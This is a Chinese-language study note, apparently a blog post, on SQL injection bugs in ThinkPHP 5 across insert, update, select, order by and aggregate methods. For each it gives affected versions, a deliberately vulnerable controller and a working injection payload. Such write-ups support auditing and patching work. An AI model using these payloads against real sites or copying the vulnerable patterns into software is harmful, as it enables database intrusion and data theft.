thinkphp 5下SQL注入漏洞学习 2020-09-20 11:05:44 Steven Xeldax > 本文是针对于抹茶师傅(https://github.com/Mochazz/ThinkPHP-Vuln) 中关于TP5 SQL注入学习记录 ## thinkphp 5 中获取参数的方法 首先看下在thinkphp中获取参数的三种方法,有助于在后期审计tp框架的cms会有一定的储备。 ### 通过变量参数自动对应传入 例如 ``` public function hello($id,$name){ echo $id.$name; } ``` 那么在路由中或者get中传入id和name的数据就行 ### 通过request对象 tp5中提供了request的对象,reqquest对象的param方法中存在了全部的请求参数。 或者通过依赖注入 public function hello(Request $request){ $all=$request->param();获取全部 } ### 通过input 函数 例如input("get.name")就是通过input函数获取get请求中的name参数 ## INSERT 方法SQL注入 漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 构造漏洞代码如下所示: ``` <?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); db('users')->insert(['username' => $username]); return 'Update success'; } } ``` 注入payload ``` index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1 ``` thinkphp中攻击流程如下(转自抹茶师傅)  ## Update方法注入 漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。 构造漏洞代码如下所示: ``` <?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); db('users')->where(['id' => 1])->update(['username' => $username]); return 'Update success'; } } ``` 注入payload ``` ?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0 ``` thinkphp中攻击流程如下  ## select方法注入/where方法 影响版本Thinkphp5全系列 构造的漏洞代码如下所示: ``` <?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username'); $result = db('users')->where('username','exp',$username)->select(); return 'select success'; } } ``` payload ``` ) union select updatexml(1,concat(0x7,user(),0x7e),1)# ``` thinkphp中攻击流程如下  ## select方法注入2 漏洞影响版本: ThinkPHP=5.0.10 构造的漏洞代码如下所示: ``` <?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); $result = db('users')->where(['username' => $username])->select(); var_dump($result); } ``` 注入payload ``` username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()# ``` 攻击流程如下:  ## order by 注入 漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 ``` <?php namespace app\index\controller; class Index { public function index() { $orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find(); var_dump($result); } } ``` payload ``` index/index/index?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1 ``` 攻击流程如下:  ## Mysql 聚合函数相关方法注入 漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 ``` <?php namespace app\index\controller; class Index { public function index() { $options = request()->get('options'); $result = db('users')->max($options); var_dump($result); } } ``` payload ``` 5.0.0~5.0.21 、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23 5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23 ``` 攻击流程如下:  ## 参考资料 https://zhuanlan.zhihu.com/p/88200420 https://github.com/Mochazz/ThinkPHP-Vuln